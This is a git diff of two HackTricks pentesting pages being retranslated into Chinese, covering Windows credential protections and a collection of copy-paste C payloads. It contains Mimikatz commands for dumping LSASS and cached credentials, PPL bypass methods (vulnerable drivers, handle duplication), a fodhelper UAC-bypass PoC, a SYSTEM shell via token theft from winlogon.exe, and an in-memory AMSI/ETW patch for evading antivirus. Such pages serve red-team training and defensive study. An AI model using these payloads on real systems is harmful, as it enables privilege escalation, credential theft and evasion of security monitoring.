diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index 7131d7ca0..b132134cb 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -1,117 +1,174 @@ -# Windows Credentials Protections +# Windows 凭证保护 {{#include ../../banners/hacktricks-training.md}} ## WDigest -[WDigest]() 协议于 Windows XP 中引入,旨在通过 HTTP 协议进行身份验证,并且在 **Windows XP 到 Windows 8.0 以及 Windows Server 2003 到 Windows Server 2012 中默认启用**。此默认设置导致 **在 LSASS 中以明文存储密码**。攻击者可以使用 Mimikatz **提取这些凭据**,通过执行: +The [WDigest]() protocol, introduced with Windows XP, is designed for authentication via the HTTP Protocol and is **在 Windows XP 到 Windows 8.0 以及 Windows Server 2003 到 Windows Server 2012 上默认启用**。此默认设置导致 **密码以明文形式存储在 LSASS** (Local Security Authority Subsystem Service)。攻击者可以使用 Mimikatz 来 **提取这些凭证**,方法是执行: ```bash sekurlsa::wdigest ``` -要**启用或禁用此功能**,必须将_HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest_中的_**UseLogonCredential**_和_**Negotiate**_注册表项设置为"1"。如果这些键**缺失或设置为"0"**,则WDigest**被禁用**: +要 **切换此功能为关闭或开启**,位于 _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ 的 _**UseLogonCredential**_ 和 _**Negotiate**_ 注册表键必须设置为 "1"。如果这些键 **不存在或设置为 "0"**,WDigest **被禁用**: ```bash reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` -## LSA 保护 (PP 和 PPL 受保护进程) +## LSA Protection (PP & PPL protected processes) -**受保护进程 (PP)** 和 **受保护进程轻量版 (PPL)** 是 **Windows 内核级保护**,旨在防止对敏感进程如 **LSASS** 的未经授权访问。该模型在 **Windows Vista** 中引入,最初是为 **DRM** 执行而创建,仅允许使用 **特殊媒体证书** 签名的二进制文件受到保护。标记为 **PP** 的进程只能被其他 **也为 PP** 且具有 **相等或更高保护级别** 的进程访问,即便如此,**也仅限于有限的访问权限**,除非特别允许。 +**Protected Process (PP)** 和 **Protected Process Light (PPL)** 是 **Windows 内核级保护**,用于防止对像 **LSASS** 这样的敏感进程的未授权访问。最初在 **Windows Vista** 引入,**PP 模型** 最初为 **DRM** 强制而创建,并且只允许使用 **特殊媒体证书** 签名的二进制文件受保护。被标记为 **PP** 的进程只能被其他同为 **PP** 且具有**相同或更高保护级别**的进程访问,即便如此,除非明确允许,访问也**仅限于有限的权限**。 -**PPL** 于 **Windows 8.1** 中引入,是 PP 的更灵活版本。它通过引入基于 **数字签名的 EKU (增强密钥使用)** 字段的 **“保护级别”**,允许 **更广泛的使用案例**(例如,LSASS、Defender)。保护级别存储在 `EPROCESS.Protection` 字段中,这是一个 `PS_PROTECTION` 结构,包含: -- **类型**(`Protected` 或 `ProtectedLight`) -- **签名者**(例如,`WinTcb`、`Lsa`、`Antimalware` 等) +**PPL**(在 **Windows 8.1** 引入)是 PP 的更灵活版本。它通过引入基于数字签名 EKU (Enhanced Key Usage) 字段的**“保护级别”**来支持**更广泛的用例**(例如 LSASS、Defender)。保护级别存储在 `EPROCESS.Protection` 字段中,该字段是一个 `PS_PROTECTION` 结构,包含: +- **Type**(`Protected` 或 `ProtectedLight`) +- **Signer**(例如 `WinTcb`、`Lsa`、`Antimalware` 等) -该结构被打包为一个字节,并决定 **谁可以访问谁**: -- **更高的签名者值可以访问较低的** +该结构被打包为单字节,并决定了**谁可以访问谁**: +- **更高的 signer 值可以访问更低的 signer** - **PPL 不能访问 PP** -- **未保护的进程无法访问任何 PPL/PP** +- **未受保护的进程不能访问任何 PPL/PP** -### 从攻击者的角度需要了解的内容 +### What you need to know from an offensive perspective -- 当 **LSASS 以 PPL 运行** 时,尝试从普通管理员上下文使用 `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` 打开它 **会失败并返回 `0x5 (访问被拒绝)`**,即使 `SeDebugPrivilege` 已启用。 -- 你可以使用 Process Hacker 等工具或通过读取 `EPROCESS.Protection` 值以编程方式 **检查 LSASS 的保护级别**。 -- LSASS 通常具有 `PsProtectedSignerLsa-Light` (`0x41`),只能被 **使用更高级别签名者签名的进程** 访问,例如 `WinTcb` (`0x61` 或 `0x62`)。 -- PPL 是 **仅限用户空间的限制**;**内核级代码可以完全绕过它**。 -- LSASS 为 PPL 并 **不阻止凭据转储,如果你可以执行内核 shellcode** 或 **利用具有适当访问权限的高特权进程**。 -- **设置或移除 PPL** 需要重启或 **安全启动/UEFI 设置**,这可以在注册表更改被撤销后仍然保持 PPL 设置。 +- 当 **LSASS 以 PPL 运行时**,从普通管理员上下文调用 `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` 的尝试 **会以 `0x5 (Access Denied)` 失败**,即使启用了 `SeDebugPrivilege`。 +- 你可以使用 Process Hacker 或通过读取 `EPROCESS.Protection` 值来**检查 LSASS 的保护级别**。 +- LSASS 通常会有 `PsProtectedSignerLsa-Light`(`0x41`),只有由更高等级 signer 签名的进程才能访问,例如 `WinTcb`(`0x61` 或 `0x62`)。 +- PPL 是**仅对用户态的限制**;**内核级代码可以完全绕过它**。 +- 即使 LSASS 为 PPL,如果你能执行内核 shellcode 或 利用具有适当访问权限的高权限进程,仍然**无法阻止 credential dumping**。 +- 设置或移除 PPL 需要重启或更改 Secure Boot/UEFI 设置,这些设置可能会在注册表更改回滚后仍然保留 PPL 状态。 + +### Create a PPL process at launch (documented API) + +Windows 提供了一个记录在案的方法,在创建子进程时通过 extended startup attribute list 请求 Protected Process Light 级别。此方法并不会绕过签名要求 — 目标镜像必须为请求的 signer class 签名。 + +Minimal flow in C/C++: +```c +// Request a PPL protection level for the child process at creation time +// Requires Windows 8.1+ and a properly signed image for the selected level +#include + +int wmain(int argc, wchar_t **argv) { +STARTUPINFOEXW si = {0}; +PROCESS_INFORMATION pi = {0}; +si.StartupInfo.cb = sizeof(si); + +SIZE_T attrSize = 0; +InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize); +si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize); +if (!si.lpAttributeList) return 1; + +if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1; + +DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT +if (!UpdateProcThreadAttribute( +si.lpAttributeList, 0, +PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, +&level, sizeof(level), NULL, NULL)) { +return 1; +} + +DWORD flags = EXTENDED_STARTUPINFO_PRESENT; +if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, +flags, NULL, NULL, &si.StartupInfo, &pi)) { +// If the image isn't signed appropriately for the requested level, +// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577). +return 1; +} + +// cleanup +DeleteProcThreadAttributeList(si.lpAttributeList); +HeapFree(GetProcessHeap(), 0, si.lpAttributeList); +CloseHandle(pi.hThread); +CloseHandle(pi.hProcess); +return 0; +} +``` +注意事项和限制: +- 使用 `STARTUPINFOEX` 与 `InitializeProcThreadAttributeList` 和 `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`,然后向 `CreateProcess*` 传递 `EXTENDED_STARTUPINFO_PRESENT`。 +- 保护 `DWORD` 可以设置为诸如 `PROTECTION_LEVEL_WINTCB_LIGHT`、`PROTECTION_LEVEL_WINDOWS`、`PROTECTION_LEVEL_WINDOWS_LIGHT`、`PROTECTION_LEVEL_ANTIMALWARE_LIGHT` 或 `PROTECTION_LEVEL_LSA_LIGHT` 等常量。 +- 只有当子进程的镜像针对该 signer class 进行了签名时,子进程才会以 PPL 启动;否则进程创建会失败,常见错误为 `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`。 +- 这不是绕过 —— 这是面向适当签名镜像的受支持 API。可用于强化工具或验证受 PPL 保护的配置。 + +Example CLI using a minimal loader: +- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc` +- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe` **绕过 PPL 保护的选项:** -如果你想在 PPL 的情况下转储 LSASS,你有 3 个主要选项: -1. **使用签名的内核驱动程序(例如,Mimikatz + mimidrv.sys)** 来 **移除 LSASS 的保护标志**: +如果你想在 PPL 存在的情况下 dump LSASS,主要有 3 个选项: +1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)** 来 **移除 LSASS 的保护标志**: ![](../../images/mimidrv.png) -2. **自带易受攻击的驱动程序 (BYOVD)** 以运行自定义内核代码并禁用保护。像 **PPLKiller**、**gdrv-loader** 或 **kdmapper** 的工具使这变得可行。 -3. **从另一个打开 LSASS 句柄的进程中窃取现有句柄**(例如,一个 AV 进程),然后 **将其复制** 到你的进程中。这是 `pypykatz live lsa --method handledup` 技术的基础。 -4. **利用某些特权进程**,允许你将任意代码加载到其地址空间或另一个特权进程内部,从而有效绕过 PPL 限制。你可以在 [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) 或 [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump) 中查看此示例。 +2. 使用 Bring Your Own Vulnerable Driver (BYOVD) 来运行自定义 kernel 代码并禁用保护。像 **PPLKiller**、**gdrv-loader** 或 **kdmapper** 这样的工具可以实现这一点。 +3. 从另一个已打开 LSASS 的进程(例如 AV 进程)窃取现有的 LSASS handle,然后**将其复制到你的进程中**。这是 `pypykatz live lsa --method handledup` 技术的基础。 +4. 滥用某些特权进程,使你能够将任意代码加载到其地址空间或另一个特权进程内,从而有效绕过 PPL 限制。可以查看此示例:[bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) 或 [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump)。 -**检查 LSASS 的 LSA 保护 (PPL/PP) 当前状态**: +**检查 LSASS 的 LSA 保护 (PPL/PP) 当前状态:** ```bash reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` -当你运行 **`mimikatz privilege::debug sekurlsa::logonpasswords`** 时,它可能会因为这个原因而失败,错误代码为 `0x00000005`。 +当你运行 **`mimikatz privilege::debug sekurlsa::logonpasswords`** 时,可能会因这个原因而以错误代码 `0x00000005` 失败。 + +- 有关此检查的更多信息,请参见 [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) -- 有关此信息的更多内容,请查看 [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) ## Credential Guard -**Credential Guard** 是 **Windows 10(企业版和教育版)** 独有的功能,通过使用 **虚拟安全模式(VSM)** 和 **基于虚拟化的安全性(VBS)** 来增强机器凭据的安全性。它利用 CPU 虚拟化扩展将关键进程隔离在受保护的内存空间中,远离主操作系统的访问。这种隔离确保即使是内核也无法访问 VSM 中的内存,有效地保护凭据免受 **pass-the-hash** 等攻击。**本地安全机构(LSA)** 在这个安全环境中作为信任组件运行,而主操作系统中的 **LSASS** 进程仅充当与 VSM 的 LSA 的通信者。 +**Credential Guard** 是 **Windows 10 (Enterprise and Education editions)** 专有的一个功能,使用 **Virtual Secure Mode (VSM)** 和 **Virtualization Based Security (VBS)** 来增强机器凭据的安全性。它利用 CPU 虚拟化扩展将关键进程隔离到受保护的内存空间中,隔离于主操作系统之外。该隔离保证即使是内核也无法访问 VSM 中的内存,从而有效保护凭据免受 **pass-the-hash** 之类攻击。**Local Security Authority (LSA)** 在该安全环境中作为 trustlet 运行,而主 OS 中的 **LSASS** 进程仅作为与 VSM 中 LSA 的通讯者。 -默认情况下,**Credential Guard** 并未激活,需要在组织内手动激活。它对于增强抵御像 **Mimikatz** 这样的工具的安全性至关重要,这些工具在提取凭据的能力上受到限制。然而,仍然可以通过添加自定义 **安全支持提供程序(SSP)** 来利用漏洞,在登录尝试期间捕获明文凭据。 +默认情况下,**Credential Guard** 未启用,需要在组织内手动激活。它对抗诸如 **Mimikatz** 等工具非常重要,因为这些工具在提取凭据方面会受阻。然而,仍然可能通过添加自定义 **Security Support Providers (SSP)** 来利用漏洞,在登录尝试期间捕获明文凭据。 -要验证 **Credential Guard** 的激活状态,可以检查注册表项 _**LsaCfgFlags**_,位于 _**HKLM\System\CurrentControlSet\Control\LSA**_ 下。值为 "**1**" 表示激活并带有 **UEFI 锁**,"**2**" 表示没有锁,"**0**" 表示未启用。这个注册表检查虽然是一个强有力的指示,但并不是启用 Credential Guard 的唯一步骤。有关启用此功能的详细指导和 PowerShell 脚本可在线获取。 +要验证 **Credential Guard** 的启用状态,可以检查注册表键 _**LsaCfgFlags**_(位于 _**HKLM\System\CurrentControlSet\Control\LSA**_ 下)。值为 "**1**" 表示启用并带有 **UEFI lock**,为 "**2**" 表示启用但不带锁,值为 "**0**" 则表示未启用。尽管此注册表检查是一个强烈的指示,但它并不是启用 Credential Guard 的唯一步骤。有关启用此功能的详细指南和 PowerShell 脚本可在网上找到。 ```bash reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` -为了全面了解和启用 **Credential Guard** 在 Windows 10 中的说明,以及在 **Windows 11 Enterprise 和 Education (版本 22H2)** 兼容系统中的自动激活,请访问 [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage)。 +要全面了解并获取在 Windows 10 中启用 **Credential Guard** 的说明,以及在兼容的 **Windows 11 Enterprise and Education (version 22H2)** 系统中自动启用该功能的相关信息,请访问 [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage)。 -有关实施自定义 SSP 以捕获凭据的更多详细信息,请参阅 [this guide](../active-directory-methodology/custom-ssp.md)。 +有关实现用于凭据捕获的自定义 SSP 的更多细节,请参阅 [this guide](../active-directory-methodology/custom-ssp.md)。 ## RDP RestrictedAdmin Mode -**Windows 8.1 和 Windows Server 2012 R2** 引入了几个新的安全功能,包括 _**Restricted Admin mode for RDP**_。此模式旨在通过减轻与 [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) 攻击相关的风险来增强安全性。 +**Windows 8.1 and Windows Server 2012 R2** 引入了若干新的安全功能,包括 _**Restricted Admin mode for RDP**_。此模式旨在通过减轻与 [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) 攻击相关的风险来增强安全性。 -传统上,通过 RDP 连接到远程计算机时,您的凭据会存储在目标机器上。这带来了显著的安全风险,尤其是在使用具有提升权限的帐户时。然而,随着 _**Restricted Admin mode**_ 的引入,这一风险大大降低。 +传统上,通过 RDP 连接到远程计算机时,你的凭据会存储在目标机器上。这带来了重大安全风险,尤其是在使用具有提升权限的帐户时。然而,随着 _**Restricted Admin mode**_ 的引入,这种风险大幅降低。 -当使用命令 **mstsc.exe /RestrictedAdmin** 启动 RDP 连接时,对远程计算机的身份验证是在不存储您的凭据的情况下进行的。这种方法确保在发生恶意软件感染或恶意用户获得远程服务器访问权限的情况下,您的凭据不会被泄露,因为它们并未存储在服务器上。 +当使用命令 **mstsc.exe /RestrictedAdmin** 发起 RDP 连接时,对远程计算机的身份验证将在不将你的凭据存储在该计算机上的情况下进行。此方法确保在发生恶意软件感染或恶意用户访问远程服务器的情况下,你的凭据不会被泄露,因为它们并未存储在服务器上。 -需要注意的是,在 **Restricted Admin mode** 中,从 RDP 会话访问网络资源的尝试将不会使用您的个人凭据;相反,使用的是 **机器的身份**。 +值得注意的是,在 **Restricted Admin mode** 下,从 RDP 会话尝试访问网络资源不会使用你的个人凭据;取而代之的是使用 **machine's identity**。 -此功能标志着在保护远程桌面连接和敏感信息免受安全漏洞暴露方面的重要进展。 +该功能在保护远程桌面连接和在发生安全漏洞时防止敏感信息暴露方面迈出了重要一步。 ![](../../images/RAM.png) -有关更多详细信息,请访问 [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/)。 +如需更多详细信息,请访问 [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/)。 ## Cached Credentials -Windows 通过 **Local Security Authority (LSA)** 保护 **域凭据**,支持使用 **Kerberos** 和 **NTLM** 等安全协议的登录过程。Windows 的一个关键特性是其能够缓存 **最后十个域登录**,以确保用户即使在 **域控制器离线** 的情况下仍能访问他们的计算机——这对经常远离公司网络的笔记本电脑用户来说是一个福音。 +Windows 通过 **Local Security Authority (LSA)** 保护 **domain credentials**,并支持使用 **Kerberos** 和 **NTLM** 等安全协议的登录过程。Windows 的一个关键特性是能够缓存 **last ten domain logins**,以确保即使 **domain controller is offline**,用户仍能访问他们的计算机——这对常常离开公司网络的笔记本用户非常有用。 -缓存登录的数量可以通过特定的 **注册表项或组策略** 进行调整。要查看或更改此设置,可以使用以下命令: +缓存的登录数量可以通过特定的 **registry key or group policy** 进行调整。要查看或更改此设置,可使用以下命令: ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -访问这些缓存凭据的权限受到严格控制,只有 **SYSTEM** 账户拥有查看它们所需的权限。需要访问此信息的管理员必须以 SYSTEM 用户权限进行操作。凭据存储在: `HKEY_LOCAL_MACHINE\SECURITY\Cache` +对这些缓存凭据的访问受到严格控制,只有 **SYSTEM** 帐户拥有查看它们的必要权限。需要访问此信息的管理员必须以 SYSTEM 用户权限执行。凭据存储在:`HKEY_LOCAL_MACHINE\SECURITY\Cache` -**Mimikatz** 可以通过命令 `lsadump::cache` 提取这些缓存凭据。 +可以使用 **Mimikatz** 提取这些缓存凭据,命令为 `lsadump::cache`。 -有关更多详细信息,原始 [source](http://juggernaut.wikidot.com/cached-credentials) 提供了全面的信息。 +有关更多细节,原始 [source](http://juggernaut.wikidot.com/cached-credentials) 提供了全面的信息。 -## 受保护用户 +## Protected Users -加入 **受保护用户组** 会为用户引入几项安全增强措施,确保对凭据盗窃和滥用的更高保护级别: +成为 **Protected Users group** 的成员会为用户引入若干安全增强措施,从而提高对凭据窃取和滥用的防护等级: -- **凭据委派 (CredSSP)**:即使 **允许委派默认凭据** 的组策略设置已启用,受保护用户的明文凭据也不会被缓存。 -- **Windows Digest**:从 **Windows 8.1 和 Windows Server 2012 R2** 开始,系统将不会缓存受保护用户的明文凭据,无论 Windows Digest 状态如何。 -- **NTLM**:系统不会缓存受保护用户的明文凭据或 NT 单向函数 (NTOWF)。 -- **Kerberos**:对于受保护用户,Kerberos 认证不会生成 **DES** 或 **RC4 密钥**,也不会缓存明文凭据或超出初始票据授予票 (TGT) 获取的长期密钥。 -- **离线登录**:受保护用户在登录或解锁时不会创建缓存验证器,这意味着这些账户不支持离线登录。 +- **Credential Delegation (CredSSP)**:即使组策略设置 **Allow delegating default credentials** 已启用,Protected Users 的明文凭据也不会被缓存。 +- **Windows Digest**:从 **Windows 8.1 and Windows Server 2012 R2** 起,无论 Windows Digest 状态如何,系统都不会缓存 Protected Users 的明文凭据。 +- **NTLM**:系统不会缓存 Protected Users 的明文凭据或 NT 单向函数 (NTOWF)。 +- **Kerberos**:对于 Protected Users,Kerberos 认证不会生成 **DES** 或 **RC4 keys**,也不会缓存明文凭据或在首次获取 TGT (Ticket-Granting Ticket) 之后的长期密钥。 +- **Offline Sign-In**:在登录或解锁时不会为 Protected Users 创建缓存的验证器,因此这些帐户不支持离线登录。 -这些保护措施在 **受保护用户组** 的成员登录设备时立即激活。这确保了关键安全措施到位,以防止各种凭据泄露方法。 +当属于 **Protected Users group** 的用户登录到设备时,这些保护即刻生效。这样可以确保关键的安全措施到位,以防止各种凭据被泄露或被滥用的方法。 -有关更详细的信息,请查阅官方 [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group)。 +更多详细信息,请查阅官方 [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group)。 -**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.** +**表格来自** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.** | Windows Server 2003 RTM | Windows Server 2003 SP1+ |

Windows Server 2012,
Windows Server 2008 R2,
Windows Server 2008

| Windows Server 2016 | | ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- | @@ -132,4 +189,12 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO | Schema Admins | Schema Admins | Schema Admins | Schema Admins | | Server Operators | Server Operators | Server Operators | Server Operators | +## References + +- [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) +- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw) +- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist) +- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute) +- [LSASS RunAsPPL – background and internals](https://itm4n.github.io/lsass-runasppl/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md index fa565549f..fbf8bacb9 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md +++ b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -此页面收集了**小型、自包含的 C 代码片段**,在 Windows 本地权限提升或后期利用中非常方便。每个有效载荷都设计为**易于复制粘贴**,仅需 Windows API / C 运行时,并且可以使用 `i686-w64-mingw32-gcc` (x86) 或 `x86_64-w64-mingw32-gcc` (x64) 编译。 +本页收集了在 Windows Local Privilege Escalation 或 post-exploitation 期间非常有用的**小型、独立的 C 代码片段**。每个 payload 都设计为**便于复制粘贴**,仅依赖 Windows API / C runtime,并可使用 `i686-w64-mingw32-gcc` (x86) 或 `x86_64-w64-mingw32-gcc` (x64) 编译。 -> ⚠️ 这些有效载荷假设进程已经具有执行该操作所需的最低权限(例如 `SeDebugPrivilege`、`SeImpersonatePrivilege` 或用于 UAC 绕过的中等完整性上下文)。它们旨在用于**红队或 CTF 环境**,在这些环境中,利用漏洞已实现任意本地代码执行。 +> ⚠️ 这些 payload 假定进程已具备执行该操作所需的最小权限(例如 `SeDebugPrivilege`、`SeImpersonatePrivilege`,或用于 UAC 绕过的中等完整性上下文)。它们适用于在通过利用漏洞获得任意本机代码执行的 **red-team or CTF settings** 中。 --- @@ -20,14 +20,14 @@ return 0; ``` --- -## UAC 绕过 – `fodhelper.exe` 注册表劫持 (中 → 高完整性) -当受信任的二进制文件 **`fodhelper.exe`** 被执行时,它会查询以下注册表路径 **而不过滤 `DelegateExecute` 动词**。通过在该键下植入我们的命令,攻击者可以绕过 UAC *而不* 将文件写入磁盘。 +## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity) +当受信任的二进制文件 **`fodhelper.exe`** 被执行时,它会查询下面的注册表路径,**不会筛选 `DelegateExecute` 动作**。通过在该键下放置我们的命令,攻击者可以绕过 UAC *不*将文件写入磁盘。 *`fodhelper.exe` 查询的注册表路径* ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -一个最小的 PoC,可以弹出一个提升权限的 `cmd.exe`: +一个最小的 PoC,会弹出一个提升权限的 `cmd.exe`: ```c // x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c #define _CRT_SECURE_NO_WARNINGS @@ -61,12 +61,12 @@ system("fodhelper.exe"); return 0; } ``` -*在 Windows 10 22H2 和 Windows 11 23H2(2025 年 7 月补丁)上进行了测试。绕过仍然有效,因为 Microsoft 尚未修复 `DelegateExecute` 路径中缺失的完整性检查。* +*在 Windows 10 22H2 和 Windows 11 23H2(2025 年 7 月补丁)上测试。该绕过依然有效,因为 Microsoft 仍未修复 `DelegateExecute` 路径中缺失的完整性检查。* --- -## 通过令牌复制生成 SYSTEM shell (`SeDebugPrivilege` + `SeImpersonatePrivilege`) -如果当前进程同时拥有 **SeDebug** 和 **SeImpersonate** 权限(许多服务帐户的典型情况),您可以从 `winlogon.exe` 中窃取令牌,复制它,并启动一个提升的进程: +## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`) +如果当前进程同时持有 **`SeDebug`** 和 **`SeImpersonate`** 权限(许多服务账户常见),你可以从 `winlogon.exe` 窃取 token、复制该 token,然后启动一个 elevated process: ```c // x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32 #include @@ -102,7 +102,7 @@ DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPri STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE, -L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE, +L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); @@ -114,7 +114,7 @@ if (dupToken) CloseHandle(dupToken); return 0; } ``` -对于其工作原理的更深入解释,请参见: +有关其工作原理的更深入说明,请参阅: {{#ref}} sedebug-+-seimpersonate-copy-token.md @@ -122,8 +122,8 @@ sedebug-+-seimpersonate-copy-token.md --- -## 内存中的 AMSI 和 ETW 补丁(防御规避) -大多数现代 AV/EDR 引擎依赖于 **AMSI** 和 **ETW** 来检查恶意行为。在当前进程中早期修补这两个接口可以防止基于脚本的有效载荷(例如 PowerShell、JScript)被扫描。 +## 内存中的 AMSI & ETW Patch (Defence Evasion) +大多数现代 AV/EDR 引擎依赖 **AMSI** 和 **ETW** 来检测恶意行为。在当前进程内尽早对这两个接口进行 Patch,可以防止基于脚本的 payload(例如 PowerShell、JScript)被扫描。 ```c // gcc -o patch_amsi.exe patch_amsi.c -lntdll #define _CRT_SECURE_NO_WARNINGS @@ -150,12 +150,56 @@ MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK); return 0; } ``` -*上述补丁是进程本地的;在运行后生成一个新的 PowerShell 将在没有 AMSI/ETW 检查的情况下执行。* +*上面的补丁仅限于当前进程;在运行后启动新的 PowerShell 将不会经过 AMSI/ETW 检查。* --- -## 参考文献 +## 创建子进程为 Protected Process Light (PPL) +在创建时通过使用 `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL` 为子进程请求 PPL 保护级别。 这是已记录的 API,只有当目标映像为所请求的签名者类别 (Windows/WindowsLight/Antimalware/LSA/WinTcb) 签名时才会成功。 +```c +// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c +#include + +int wmain(void) { +STARTUPINFOEXW si = {0}; +PROCESS_INFORMATION pi = {0}; +si.StartupInfo.cb = sizeof(si); + +SIZE_T attrSize = 0; +InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize); +si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize); +InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize); + +DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level +UpdateProcThreadAttribute(si.lpAttributeList, 0, +PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, +&lvl, sizeof(lvl), NULL, NULL); + +if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE, +EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) { +// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level +return 1; +} +DeleteProcThreadAttributeList(si.lpAttributeList); +HeapFree(GetProcessHeap(), 0, si.lpAttributeList); +CloseHandle(pi.hThread); +CloseHandle(pi.hProcess); +return 0; +} +``` +最常使用的级别: +- `PROTECTION_LEVEL_WINDOWS_LIGHT` (2) +- `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3) +- `PROTECTION_LEVEL_LSA_LIGHT` (4) + +使用 Process Explorer/Process Hacker 验证结果,通过检查 Protection 列。 + +--- + +## 参考资料 * Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024) * SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023) +* CreateProcessAsPPL – 最小化的 PPL 进程启动器: https://github.com/2x7EQ13/CreateProcessAsPPL +* Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute {{#include ../../banners/hacktricks-training.md}}